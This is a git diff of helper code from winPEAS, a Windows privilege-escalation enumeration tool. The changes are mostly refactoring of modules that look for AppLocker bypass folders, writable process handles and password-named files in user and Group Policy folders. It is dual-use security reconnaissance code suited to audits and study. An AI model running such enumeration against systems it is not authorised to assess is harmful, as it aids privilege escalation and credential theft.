Beaprint.ColorPrint( $" User Or Group Sid: {filePublisherRule.UserOrGroupSid}\n", color); Beaprint.ColorPrint($" User Or Group Sid: {filePublisherRule.UserOrGroupSid}\n", color);
Beaprint.GoodPrint($" Conditions"); Beaprint.GoodPrint($" Conditions");
@@ -150,10 +150,10 @@ namespace winPEAS.Helpers.AppLocker
$" Translated Name: {normalizedName}\n" + $" Translated Name: {normalizedName}\n" +
$" Description: {filePathRule.Description}\n" + $" Description: {filePathRule.Description}\n" +
$" Action: {filePathRule.Action}"); $" Action: {filePathRule.Action}");
var color = GetColorBySid(filePathRule.UserOrGroupSid); var color = GetColorBySid(filePathRule.UserOrGroupSid);
Beaprint.ColorPrint( $" User Or Group Sid: {filePathRule.UserOrGroupSid}\n", color); Beaprint.ColorPrint($" User Or Group Sid: {filePathRule.UserOrGroupSid}\n", color);
Beaprint.GoodPrint($" Conditions"); Beaprint.GoodPrint($" Conditions");
@@ -241,7 +241,7 @@ namespace winPEAS.Helpers.AppLocker
Beaprint.ColorPrint($" No potential bypass found while recursively checking files/subfolders " + Beaprint.ColorPrint($" No potential bypass found while recursively checking files/subfolders " +
$"for write or equivalent permissions with depth: {FolderCheckMaxDepth}\n" + $"for write or equivalent permissions with depth: {FolderCheckMaxDepth}\n" +
$" Check permissions manually.", Beaprint.YELLOW); $" Check permissions manually.", Beaprint.YELLOW);
} }
} }
} }
} }
@@ -328,39 +328,42 @@ namespace winPEAS.Helpers.AppLocker
try try
{ {
var subfolders = Directory.EnumerateDirectories(path); if (Directory.Exists(path))
var files = Directory.EnumerateFiles(path, "*", SearchOption.TopDirectoryOnly);
ruleType = ruleType.ToLower();
if (!_appLockerFileExtensionsByType.ContainsKey(ruleType))
{ {
throw new ArgumentException(nameof(ruleType)); var subfolders = Directory.EnumerateDirectories(path);
} var files = Directory.EnumerateFiles(path, "*", SearchOption.TopDirectoryOnly);
var filteredFiles =
(from file in files
let extension = Path.GetExtension(file)?.ToLower() ?? string.Empty
where _appLockerFileExtensionsByType[ruleType].Contains(extension)
select file).ToList();
// first check write access for files ruleType = ruleType.ToLower();
if (filteredFiles.Any(CheckFileWriteAccess))
{
return true;
}
// if we have not found any writable file, if (!_appLockerFileExtensionsByType.ContainsKey(ruleType))
// check subfolders for write access {
if (subfolders.Any(subfolder => CheckDirectoryWriteAccess(subfolder, out bool _, isGoodPrint: false))) throw new ArgumentException(nameof(ruleType));
{ }
return true;
}
// check recursively all the subfolders for files/sub-subfolders var filteredFiles =
if (subfolders.Any(subfolder => CheckFilesAndSubfolders(subfolder, ruleType, depth + 1))) (from file in files
{ let extension = Path.GetExtension(file)?.ToLower() ?? string.Empty
return true; where _appLockerFileExtensionsByType[ruleType].Contains(extension)
select file).ToList();
// first check write access for files
if (filteredFiles.Any(CheckFileWriteAccess))
{
return true;
}
// if we have not found any writable file,
// check subfolders for write access
if (subfolders.Any(subfolder => CheckDirectoryWriteAccess(subfolder, out bool _, isGoodPrint: false)))
{
return true;
}
// check recursively all the subfolders for files/sub-subfolders
if (subfolders.Any(subfolder => CheckFilesAndSubfolders(subfolder, ruleType, depth + 1)))
{
return true;
}
} }
} }
catch (Exception) catch (Exception)

View File

@@ -5,79 +5,79 @@ using System.Runtime.InteropServices;
namespace winPEAS.Helpers.AppLocker namespace winPEAS.Helpers.AppLocker
{ {
[Guid("B6FEA19E-32DD-4367-B5B7-2F5DA140E87D")] [Guid("B6FEA19E-32DD-4367-B5B7-2F5DA140E87D")]
[TypeLibType(TypeLibTypeFlags.FDual | TypeLibTypeFlags.FNonExtensible | TypeLibTypeFlags.FDispatchable)] [TypeLibType(TypeLibTypeFlags.FDual | TypeLibTypeFlags.FNonExtensible | TypeLibTypeFlags.FDispatchable)]
[ComImport] [ComImport]
public interface IAppIdPolicyHandler public interface IAppIdPolicyHandler
{ {
// Token: 0x06000001 RID: 1 // Token: 0x06000001 RID: 1
[DispId(1)] [DispId(1)]
[MethodImpl(MethodImplOptions.InternalCall)] [MethodImpl(MethodImplOptions.InternalCall)]
void SetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath, [MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy); void SetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath, [MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy);
// Token: 0x06000002 RID: 2 // Token: 0x06000002 RID: 2
[DispId(2)] [DispId(2)]
[MethodImpl(MethodImplOptions.InternalCall)] [MethodImpl(MethodImplOptions.InternalCall)]
[return: MarshalAs(UnmanagedType.BStr)] [return: MarshalAs(UnmanagedType.BStr)]
string GetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath); string GetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath);
// Token: 0x06000003 RID: 3 // Token: 0x06000003 RID: 3
[DispId(3)] [DispId(3)]
[MethodImpl(MethodImplOptions.InternalCall)] [MethodImpl(MethodImplOptions.InternalCall)]
[return: MarshalAs(UnmanagedType.BStr)] [return: MarshalAs(UnmanagedType.BStr)]
string GetEffectivePolicy(); string GetEffectivePolicy();
// Token: 0x06000004 RID: 4 // Token: 0x06000004 RID: 4
[DispId(4)] [DispId(4)]
[MethodImpl(MethodImplOptions.InternalCall)] [MethodImpl(MethodImplOptions.InternalCall)]
int IsFileAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrFilePath, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId); int IsFileAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrFilePath, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId);
// Token: 0x06000005 RID: 5 // Token: 0x06000005 RID: 5
[DispId(5)] [DispId(5)]
[MethodImpl(MethodImplOptions.InternalCall)] [MethodImpl(MethodImplOptions.InternalCall)]
int IsPackageAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrPublisherName, [MarshalAs(UnmanagedType.BStr)][In] string bstrPackageName, [In] ulong ullPackageVersion, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId); int IsPackageAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrPublisherName, [MarshalAs(UnmanagedType.BStr)][In] string bstrPackageName, [In] ulong ullPackageVersion, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId);
} }
// Token: 0x02000003 RID: 3 // Token: 0x02000003 RID: 3
[CoClass(typeof(AppIdPolicyHandlerClass))] [CoClass(typeof(AppIdPolicyHandlerClass))]
[Guid("B6FEA19E-32DD-4367-B5B7-2F5DA140E87D")] [Guid("B6FEA19E-32DD-4367-B5B7-2F5DA140E87D")]
[ComImport] [ComImport]
public interface AppIdPolicyHandler : IAppIdPolicyHandler public interface AppIdPolicyHandler : IAppIdPolicyHandler
{ {
} }
// Token: 0x02000004 RID: 4 // Token: 0x02000004 RID: 4
[Guid("F1ED7D4C-F863-4DE6-A1CA-7253EFDEE1F3")] [Guid("F1ED7D4C-F863-4DE6-A1CA-7253EFDEE1F3")]
[ClassInterface(ClassInterfaceType.None)] [ClassInterface(ClassInterfaceType.None)]
[TypeLibType(TypeLibTypeFlags.FCanCreate)] [TypeLibType(TypeLibTypeFlags.FCanCreate)]
[ComImport] [ComImport]
public class AppIdPolicyHandlerClass : IAppIdPolicyHandler, AppIdPolicyHandler public class AppIdPolicyHandlerClass : IAppIdPolicyHandler, AppIdPolicyHandler
{ {
// Token: 0x06000007 RID: 7 // Token: 0x06000007 RID: 7
[DispId(1)] [DispId(1)]
[MethodImpl(MethodImplOptions.InternalCall)] [MethodImpl(MethodImplOptions.InternalCall)]
public virtual extern void SetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath, [MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy); public virtual extern void SetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath, [MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy);
// Token: 0x06000008 RID: 8 // Token: 0x06000008 RID: 8
[DispId(2)] [DispId(2)]
[MethodImpl(MethodImplOptions.InternalCall)] [MethodImpl(MethodImplOptions.InternalCall)]
[return: MarshalAs(UnmanagedType.BStr)] [return: MarshalAs(UnmanagedType.BStr)]
public virtual extern string GetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath); public virtual extern string GetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath);
// Token: 0x06000009 RID: 9 // Token: 0x06000009 RID: 9
[DispId(3)] [DispId(3)]
[MethodImpl(MethodImplOptions.InternalCall)] [MethodImpl(MethodImplOptions.InternalCall)]
[return: MarshalAs(UnmanagedType.BStr)] [return: MarshalAs(UnmanagedType.BStr)]
public virtual extern string GetEffectivePolicy(); public virtual extern string GetEffectivePolicy();
// Token: 0x0600000A RID: 10 // Token: 0x0600000A RID: 10
[DispId(4)] [DispId(4)]
[MethodImpl(MethodImplOptions.InternalCall)] [MethodImpl(MethodImplOptions.InternalCall)]
public virtual extern int IsFileAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrFilePath, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId); public virtual extern int IsFileAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrFilePath, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId);
// Token: 0x0600000B RID: 11 // Token: 0x0600000B RID: 11
[DispId(5)] [DispId(5)]
[MethodImpl(MethodImplOptions.InternalCall)] [MethodImpl(MethodImplOptions.InternalCall)]
public virtual extern int IsPackageAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrPublisherName, [MarshalAs(UnmanagedType.BStr)][In] string bstrPackageName, [In] ulong ullPackageVersion, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId); public virtual extern int IsPackageAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrPublisherName, [MarshalAs(UnmanagedType.BStr)][In] string bstrPackageName, [In] ulong ullPackageVersion, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId);
} }
} }

View File

@@ -1,7 +1,6 @@
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Text.RegularExpressions; using System.Text.RegularExpressions;
using System.Threading;
namespace winPEAS.Helpers namespace winPEAS.Helpers
{ {
@@ -105,7 +104,7 @@ namespace winPEAS.Helpers
PrintLegend(); PrintLegend();
Console.WriteLine(); Console.WriteLine();
LinkPrint("https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation", "You can find a Windows local PE Checklist here:"); Console.WriteLine(BLUE + " You can find a Windows local PE Checklist here: " + YELLOW + "https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation");
} }
static void PrintLegend() static void PrintLegend()
@@ -142,7 +141,7 @@ namespace winPEAS.Helpers
Console.WriteLine(LCYAN + " debug" + GRAY + " Display debugging information - memory usage, method execution time" + NOCOLOR); Console.WriteLine(LCYAN + " debug" + GRAY + " Display debugging information - memory usage, method execution time" + NOCOLOR);
Console.WriteLine(LCYAN + " log[=logfile]" + GRAY + $" Log all output to file defined as logfile, or to \"{Checks.Checks.DefaultLogFile}\" if not specified" + NOCOLOR); Console.WriteLine(LCYAN + " log[=logfile]" + GRAY + $" Log all output to file defined as logfile, or to \"{Checks.Checks.DefaultLogFile}\" if not specified" + NOCOLOR);
Console.WriteLine(LCYAN + " max-regex-file-size=1000000" + GRAY + $" Max file size (in Bytes) to search regex in. Default: {Checks.Checks.MaxRegexFileSize}B" + NOCOLOR); Console.WriteLine(LCYAN + " max-regex-file-size=1000000" + GRAY + $" Max file size (in Bytes) to search regex in. Default: {Checks.Checks.MaxRegexFileSize}B" + NOCOLOR);
Console.WriteLine(); Console.WriteLine();
Console.WriteLine(GREEN + " Additional checks (slower):"); Console.WriteLine(GREEN + " Additional checks (slower):");
Console.WriteLine(LCYAN + " -lolbas" + GRAY + $" Run additional LOLBAS check" + NOCOLOR); Console.WriteLine(LCYAN + " -lolbas" + GRAY + $" Run additional LOLBAS check" + NOCOLOR);

View File

@@ -4,7 +4,6 @@ using System.Linq;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using System.Security; using System.Security;
using System.Security.Permissions; using System.Security.Permissions;
using System.Text;
using winPEAS.Native; using winPEAS.Native;
using winPEAS.Native.Enums; using winPEAS.Native.Enums;
@@ -394,6 +393,6 @@ namespace winPEAS.Helpers.CredentialManager
PersistenceType = (PersistenceType)credential.Persist; PersistenceType = (PersistenceType)credential.Persist;
Description = credential.Comment; Description = credential.Comment;
LastWriteTimeUtc = DateTime.FromFileTimeUtc(credential.LastWritten); LastWriteTimeUtc = DateTime.FromFileTimeUtc(credential.LastWritten);
} }
} }
} }

View File

@@ -1,4 +1,4 @@
namespace winPEAS.Helpers.CredentialManager namespace winPEAS.Helpers.CredentialManager
{ {
} }

View File

@@ -1,9 +1,9 @@
using System; using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.ComponentModel; using System.ComponentModel;
using System.Linq; using System.Linq;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using Microsoft.Win32.SafeHandles;
using winPEAS.Native; using winPEAS.Native;
namespace winPEAS.Helpers.CredentialManager namespace winPEAS.Helpers.CredentialManager
@@ -18,7 +18,7 @@ namespace winPEAS.Helpers.CredentialManager
/// </summary> /// </summary>
public class NativeMethods public class NativeMethods
{ {
/// <summary> /// <summary>
/// The CREDENTIAL structure contains an individual credential. /// The CREDENTIAL structure contains an individual credential.
/// ///

View File

@@ -1,5 +1,4 @@
using System; using System;
using System.Runtime.InteropServices;
using winPEAS.Native; using winPEAS.Native;
using winPEAS.Native.Enums; using winPEAS.Native.Enums;
@@ -15,9 +14,9 @@ namespace winPEAS.Helpers
{ {
internal class Win32 internal class Win32
{ {
public const int ErrorSuccess = 0; public const int ErrorSuccess = 0;
} }
public static string IsDomainJoined() public static string IsDomainJoined()

View File

@@ -1,11 +1,9 @@
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Diagnostics; using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using System.Security.Principal; using System.Security.Principal;
using System.Text; using System.Text;
using System.Threading.Tasks;
namespace winPEAS.Helpers namespace winPEAS.Helpers
{ {
@@ -244,7 +242,7 @@ namespace winPEAS.Helpers
{ {
string perm = PermissionsHelper.PermInt2Str((int)h.GrantedAccess, PermissionType.WRITEABLE_OR_EQUIVALENT); string perm = PermissionsHelper.PermInt2Str((int)h.GrantedAccess, PermissionType.WRITEABLE_OR_EQUIVALENT);
if (perm != null && perm.Length> 0) if (perm != null && perm.Length > 0)
{ {
vulnHandler.isVuln = true; vulnHandler.isVuln = true;
vulnHandler.reason = perm; vulnHandler.reason = perm;
@@ -438,9 +436,11 @@ namespace winPEAS.Helpers
// Get the owner of a process given the PID // Get the owner of a process given the PID
public static Dictionary<string, string> GetProcU(Process p) public static Dictionary<string, string> GetProcU(Process p)
{ {
Dictionary<string, string> data = new Dictionary<string, string>(); Dictionary<string, string> data = new Dictionary<string, string>
data["name"] = ""; {
data["sid"] = ""; ["name"] = "",
["sid"] = ""
};
IntPtr pHandle = IntPtr.Zero; IntPtr pHandle = IntPtr.Zero;
try try
{ {
@@ -471,7 +471,7 @@ namespace winPEAS.Helpers
PT_RELEVANT_INFO pri = new PT_RELEVANT_INFO(); PT_RELEVANT_INFO pri = new PT_RELEVANT_INFO();
Process proc = Process.GetProcessById(pid); Process proc = Process.GetProcessById(pid);
Dictionary<string,string> user = GetProcU(proc); Dictionary<string, string> user = GetProcU(proc);
StringBuilder fileName = new StringBuilder(2000); StringBuilder fileName = new StringBuilder(2000);
Native.Psapi.GetProcessImageFileName(proc.Handle, fileName, 2000); Native.Psapi.GetProcessImageFileName(proc.Handle, fileName, 2000);
@@ -586,7 +586,7 @@ namespace winPEAS.Helpers
{ // This shouldn't be needed { // This shouldn't be needed
if (path.StartsWith("\\")) if (path.StartsWith("\\"))
path = path.Substring(1); path = path.Substring(1);
hive = Helpers.Registry.RegistryHelper.CheckIfExists(path); hive = Registry.RegistryHelper.CheckIfExists(path);
} }
if (path.StartsWith("\\")) if (path.StartsWith("\\"))

View File

@@ -1,5 +1,4 @@
using System; using System.Diagnostics;
using System.Diagnostics;
namespace winPEAS.Helpers namespace winPEAS.Helpers
{ {

View File

@@ -76,7 +76,7 @@ namespace winPEAS.Helpers
} }
//Check if rundll32 //Check if rundll32
string[] binaryPathdll32 = binaryPath.Split(new string[] {"Rundll32.exe"}, StringSplitOptions.None); string[] binaryPathdll32 = binaryPath.Split(new string[] { "Rundll32.exe" }, StringSplitOptions.None);
if (binaryPathdll32.Length > 1) if (binaryPathdll32.Length > 1)
{ {
@@ -224,7 +224,7 @@ namespace winPEAS.Helpers
return strOutput; return strOutput;
} }
private static string[] suffixes = new[] {" B", " KB", " MB", " GB", " TB", " PB"}; private static string[] suffixes = new[] { " B", " KB", " MB", " GB", " TB", " PB" };
public static string ConvertBytesToHumanReadable(double number, int precision = 2) public static string ConvertBytesToHumanReadable(double number, int precision = 2)
{ {

View File

@@ -1,11 +1,11 @@
using System; using Microsoft.Win32;
using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.IO; using System.IO;
using System.Linq; using System.Linq;
using System.Security.AccessControl; using System.Security.AccessControl;
using System.Security.Principal; using System.Security.Principal;
using System.Text.RegularExpressions; using System.Text.RegularExpressions;
using Microsoft.Win32;
namespace winPEAS.Helpers namespace winPEAS.Helpers
{ {
@@ -354,14 +354,17 @@ namespace winPEAS.Helpers
results[path] = String.Join(", ", GetPermissionsFolder(path, Checks.Checks.CurrentUserSiDs)); results[path] = String.Join(", ", GetPermissionsFolder(path, Checks.Checks.CurrentUserSiDs));
if (string.IsNullOrEmpty(results[path])) if (string.IsNullOrEmpty(results[path]))
{ {
foreach (string d in Directory.EnumerateDirectories(path)) if (Directory.Exists(path))
{ {
foreach (string f in Directory.EnumerateFiles(d)) foreach (string d in Directory.EnumerateDirectories(path))
{ {
results[f] = String.Join(", ", GetPermissionsFile(f, Checks.Checks.CurrentUserSiDs)); foreach (string f in Directory.EnumerateFiles(d))
{
results[f] = String.Join(", ", GetPermissionsFile(f, Checks.Checks.CurrentUserSiDs));
}
cont += 1;
results.Concat(GetRecursivePrivs(d, cont)).ToDictionary(kvp => kvp.Key, kvp => kvp.Value);
} }
cont += 1;
results.Concat(GetRecursivePrivs(d, cont)).ToDictionary(kvp => kvp.Key, kvp => kvp.Value);
} }
} }
} }

View File

@@ -4,85 +4,85 @@ using System.Threading;
namespace winPEAS.Helpers namespace winPEAS.Helpers
{ {
internal class ProgressBar : IDisposable, IProgress<double> internal class ProgressBar : IDisposable, IProgress<double>
{ {
private const int blockCount = 10; private const int blockCount = 10;
private readonly TimeSpan animationInterval = TimeSpan.FromSeconds(1.0 / 8); private readonly TimeSpan animationInterval = TimeSpan.FromSeconds(1.0 / 8);
private const string animation = @"|/-\"; private const string animation = @"|/-\";
private readonly Timer timer; private readonly Timer timer;
private double currentProgress = 0; private double currentProgress = 0;
private string currentText = string.Empty; private string currentText = string.Empty;
private bool disposed = false; private bool disposed = false;
private int animationIndex = 0; private int animationIndex = 0;
public ProgressBar() public ProgressBar()
{ {
timer = new Timer(TimerHandler, new object(), animationInterval, animationInterval); timer = new Timer(TimerHandler, new object(), animationInterval, animationInterval);
} }
public void Report(double value) public void Report(double value)
{ {
// Make sure value is in [0..1] range // Make sure value is in [0..1] range
value = Math.Max(0, Math.Min(1, value)); value = Math.Max(0, Math.Min(1, value));
Interlocked.Exchange(ref currentProgress, value); Interlocked.Exchange(ref currentProgress, value);
} }
private void TimerHandler(object state) private void TimerHandler(object state)
{ {
lock (timer) lock (timer)
{ {
if (disposed) return; if (disposed) return;
int progressBlockCount = (int)(currentProgress * blockCount); int progressBlockCount = (int)(currentProgress * blockCount);
int percent = (int)(currentProgress * 100); int percent = (int)(currentProgress * 100);
string text = string.Format("[{0}{1}] {2,3}% {3}", string text = string.Format("[{0}{1}] {2,3}% {3}",
new string('#', progressBlockCount), new string('-', blockCount - progressBlockCount), new string('#', progressBlockCount), new string('-', blockCount - progressBlockCount),
percent, percent,
animation[animationIndex++ % animation.Length]); animation[animationIndex++ % animation.Length]);
UpdateText(text); UpdateText(text);
} }
} }
private void UpdateText(string text) private void UpdateText(string text)
{ {
// Get length of common portion // Get length of common portion
int commonPrefixLength = 0; int commonPrefixLength = 0;
int commonLength = Math.Min(currentText.Length, text.Length); int commonLength = Math.Min(currentText.Length, text.Length);
while (commonPrefixLength < commonLength && text[commonPrefixLength] == currentText[commonPrefixLength]) while (commonPrefixLength < commonLength && text[commonPrefixLength] == currentText[commonPrefixLength])
{ {
commonPrefixLength++; commonPrefixLength++;
} }
// Backtrack to the first differing character // Backtrack to the first differing character
StringBuilder outputBuilder = new StringBuilder(); StringBuilder outputBuilder = new StringBuilder();
outputBuilder.Append('\b', currentText.Length - commonPrefixLength); outputBuilder.Append('\b', currentText.Length - commonPrefixLength);
// Output new suffix // Output new suffix
outputBuilder.Append(text.Substring(commonPrefixLength)); outputBuilder.Append(text.Substring(commonPrefixLength));
// If the new text is shorter than the old one: delete overlapping characters // If the new text is shorter than the old one: delete overlapping characters
int overlapCount = currentText.Length - text.Length; int overlapCount = currentText.Length - text.Length;
if (overlapCount > 0) if (overlapCount > 0)
{ {
outputBuilder.Append(' ', overlapCount); outputBuilder.Append(' ', overlapCount);
outputBuilder.Append('\b', overlapCount); outputBuilder.Append('\b', overlapCount);
} }
Console.Write(outputBuilder); Console.Write(outputBuilder);
currentText = text; currentText = text;
} }
public void Dispose() public void Dispose()
{ {
lock (timer) lock (timer)
{ {
disposed = true; disposed = true;
UpdateText(string.Empty); UpdateText(string.Empty);
timer.Dispose(); timer.Dispose();
} }
} }
} }
} }

View File

@@ -1,7 +1,7 @@
using System; using Microsoft.Win32;
using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Linq; using System.Linq;
using Microsoft.Win32;
namespace winPEAS.Helpers.Registry namespace winPEAS.Helpers.Registry
{ {
@@ -177,7 +177,7 @@ namespace winPEAS.Helpers.Registry
internal static uint? GetDwordValue(string hive, string key, string val) internal static uint? GetDwordValue(string hive, string key, string val)
{ {
string strValue = RegistryHelper.GetRegValue(hive, key, val); string strValue = GetRegValue(hive, key, val);
if (uint.TryParse(strValue, out uint res)) if (uint.TryParse(strValue, out uint res))
{ {

View File

@@ -3,7 +3,7 @@
namespace winPEAS.Helpers.Search namespace winPEAS.Helpers.Search
{ {
static class Patterns static class Patterns
{ {
public static readonly HashSet<string> WhitelistExtensions = new HashSet<string>() public static readonly HashSet<string> WhitelistExtensions = new HashSet<string>()
{ {
".cer", ".cer",
@@ -11,7 +11,7 @@ namespace winPEAS.Helpers.Search
".der", ".der",
".p12", ".p12",
}; };
public static readonly HashSet<string> WhiteListExactfilenamesWithExtensions = new HashSet<string>() public static readonly HashSet<string> WhiteListExactfilenamesWithExtensions = new HashSet<string>()
{ {
"docker-compose.yml", "docker-compose.yml",
@@ -21,6 +21,6 @@ namespace winPEAS.Helpers.Search
public static readonly IList<string> WhiteListRegexp = new List<string>() public static readonly IList<string> WhiteListRegexp = new List<string>()
{ {
"config.*\\.php$", "config.*\\.php$",
}; };
} }
} }

View File

@@ -92,13 +92,13 @@ namespace winPEAS.Helpers.Search
Beaprint.LongPathWarning(f.FullName); Beaprint.LongPathWarning(f.FullName);
} }
} }
) ; );
}); });
}); });
return files.ToList(); return files.ToList();
} }
private static List<FileInfo> GetFiles(string folder, string pattern = "*") private static List<FileInfo> GetFiles(string folder, string pattern = "*")
{ {
DirectoryInfo dirInfo; DirectoryInfo dirInfo;
@@ -221,43 +221,43 @@ namespace winPEAS.Helpers.Search
{ {
// c:\users // c:\users
string rootUsersSearchPath = $"{SystemDrive}\\Users\\"; string rootUsersSearchPath = $"{SystemDrive}\\Users\\";
SearchHelper.RootDirUsers = SearchHelper.GetFilesFast(rootUsersSearchPath, GlobalPattern, isFoldersIncluded: true); RootDirUsers = GetFilesFast(rootUsersSearchPath, GlobalPattern, isFoldersIncluded: true);
// c:\users\current_user // c:\users\current_user
string rootCurrentUserSearchPath = Environment.GetEnvironmentVariable("USERPROFILE"); string rootCurrentUserSearchPath = Environment.GetEnvironmentVariable("USERPROFILE");
SearchHelper.RootDirCurrentUser = SearchHelper.GetFilesFast(rootCurrentUserSearchPath, GlobalPattern, isFoldersIncluded: true); RootDirCurrentUser = GetFilesFast(rootCurrentUserSearchPath, GlobalPattern, isFoldersIncluded: true);
// c:\Program Files\ // c:\Program Files\
string rootProgramFiles = $"{SystemDrive}\\Program Files\\"; string rootProgramFiles = $"{SystemDrive}\\Program Files\\";
SearchHelper.ProgramFiles = SearchHelper.GetFilesFast(rootProgramFiles, GlobalPattern, isFoldersIncluded: true); ProgramFiles = GetFilesFast(rootProgramFiles, GlobalPattern, isFoldersIncluded: true);
// c:\Program Files (x86)\ // c:\Program Files (x86)\
string rootProgramFilesX86 = $"{SystemDrive}\\Program Files (x86)\\"; string rootProgramFilesX86 = $"{SystemDrive}\\Program Files (x86)\\";
SearchHelper.ProgramFilesX86 = SearchHelper.GetFilesFast(rootProgramFilesX86, GlobalPattern, isFoldersIncluded: true); ProgramFilesX86 = GetFilesFast(rootProgramFilesX86, GlobalPattern, isFoldersIncluded: true);
// c:\Documents and Settings\ // c:\Documents and Settings\
string documentsAndSettings = $"{SystemDrive}\\Documents and Settings\\"; string documentsAndSettings = $"{SystemDrive}\\Documents and Settings\\";
SearchHelper.DocumentsAndSettings = SearchHelper.GetFilesFast(documentsAndSettings, GlobalPattern, isFoldersIncluded: true); DocumentsAndSettings = GetFilesFast(documentsAndSettings, GlobalPattern, isFoldersIncluded: true);
// c:\ProgramData\Microsoft\Group Policy\History // c:\ProgramData\Microsoft\Group Policy\History
string groupPolicyHistory = $"{SystemDrive}\\ProgramData\\Microsoft\\Group Policy\\History"; string groupPolicyHistory = $"{SystemDrive}\\ProgramData\\Microsoft\\Group Policy\\History";
SearchHelper.GroupPolicyHistory = SearchHelper.GetFilesFast(groupPolicyHistory, GlobalPattern, isFoldersIncluded: true); GroupPolicyHistory = GetFilesFast(groupPolicyHistory, GlobalPattern, isFoldersIncluded: true);
// c:\Documents and Settings\All Users\Application Data\\Microsoft\\Group Policy\\History // c:\Documents and Settings\All Users\Application Data\\Microsoft\\Group Policy\\History
string groupPolicyHistoryLegacy = $"{documentsAndSettings}\\All Users\\Application Data\\Microsoft\\Group Policy\\History"; string groupPolicyHistoryLegacy = $"{documentsAndSettings}\\All Users\\Application Data\\Microsoft\\Group Policy\\History";
//SearchHelper.GroupPolicyHistoryLegacy = SearchHelper.GetFilesFast(groupPolicyHistoryLegacy, globalPattern); //SearchHelper.GroupPolicyHistoryLegacy = SearchHelper.GetFilesFast(groupPolicyHistoryLegacy, globalPattern);
var groupPolicyHistoryLegacyFiles = SearchHelper.GetFilesFast(groupPolicyHistoryLegacy, GlobalPattern, isFoldersIncluded: true); var groupPolicyHistoryLegacyFiles = GetFilesFast(groupPolicyHistoryLegacy, GlobalPattern, isFoldersIncluded: true);
SearchHelper.GroupPolicyHistory.AddRange(groupPolicyHistoryLegacyFiles); GroupPolicyHistory.AddRange(groupPolicyHistoryLegacyFiles);
} }
internal static void CleanLists() internal static void CleanLists()
{ {
SearchHelper.RootDirUsers = null; RootDirUsers = null;
SearchHelper.RootDirCurrentUser = null; RootDirCurrentUser = null;
SearchHelper.ProgramFiles = null; ProgramFiles = null;
SearchHelper.ProgramFilesX86 = null; ProgramFilesX86 = null;
SearchHelper.DocumentsAndSettings = null; DocumentsAndSettings = null;
SearchHelper.GroupPolicyHistory = null; GroupPolicyHistory = null;
GC.Collect(); GC.Collect();
} }
@@ -270,10 +270,10 @@ namespace winPEAS.Helpers.Search
".*password.*" ".*password.*"
}; };
foreach (var file in SearchHelper.RootDirUsers) foreach (var file in RootDirUsers)
{ {
//string extLower = file.Extension.ToLower(); //string extLower = file.Extension.ToLower();
if (!file.IsDirectory) if (!file.IsDirectory)
{ {
string nameLower = file.Filename.ToLower(); string nameLower = file.Filename.ToLower();
@@ -297,7 +297,7 @@ namespace winPEAS.Helpers.Search
{ {
var result = new List<string>(); var result = new List<string>();
foreach (var file in SearchHelper.RootDirCurrentUser) foreach (var file in RootDirCurrentUser)
{ {
if (!file.IsDirectory) if (!file.IsDirectory)
{ {
@@ -322,7 +322,7 @@ namespace winPEAS.Helpers.Search
} }
} }
} }
} }
return result; return result;
@@ -337,7 +337,7 @@ namespace winPEAS.Helpers.Search
".xml" ".xml"
}; };
foreach (var file in SearchHelper.GroupPolicyHistory) foreach (var file in GroupPolicyHistory)
{ {
if (!file.IsDirectory) if (!file.IsDirectory)
{ {
@@ -361,14 +361,14 @@ namespace winPEAS.Helpers.Search
}; };
string programDataPath = $"{SystemDrive}\\ProgramData\\"; string programDataPath = $"{SystemDrive}\\ProgramData\\";
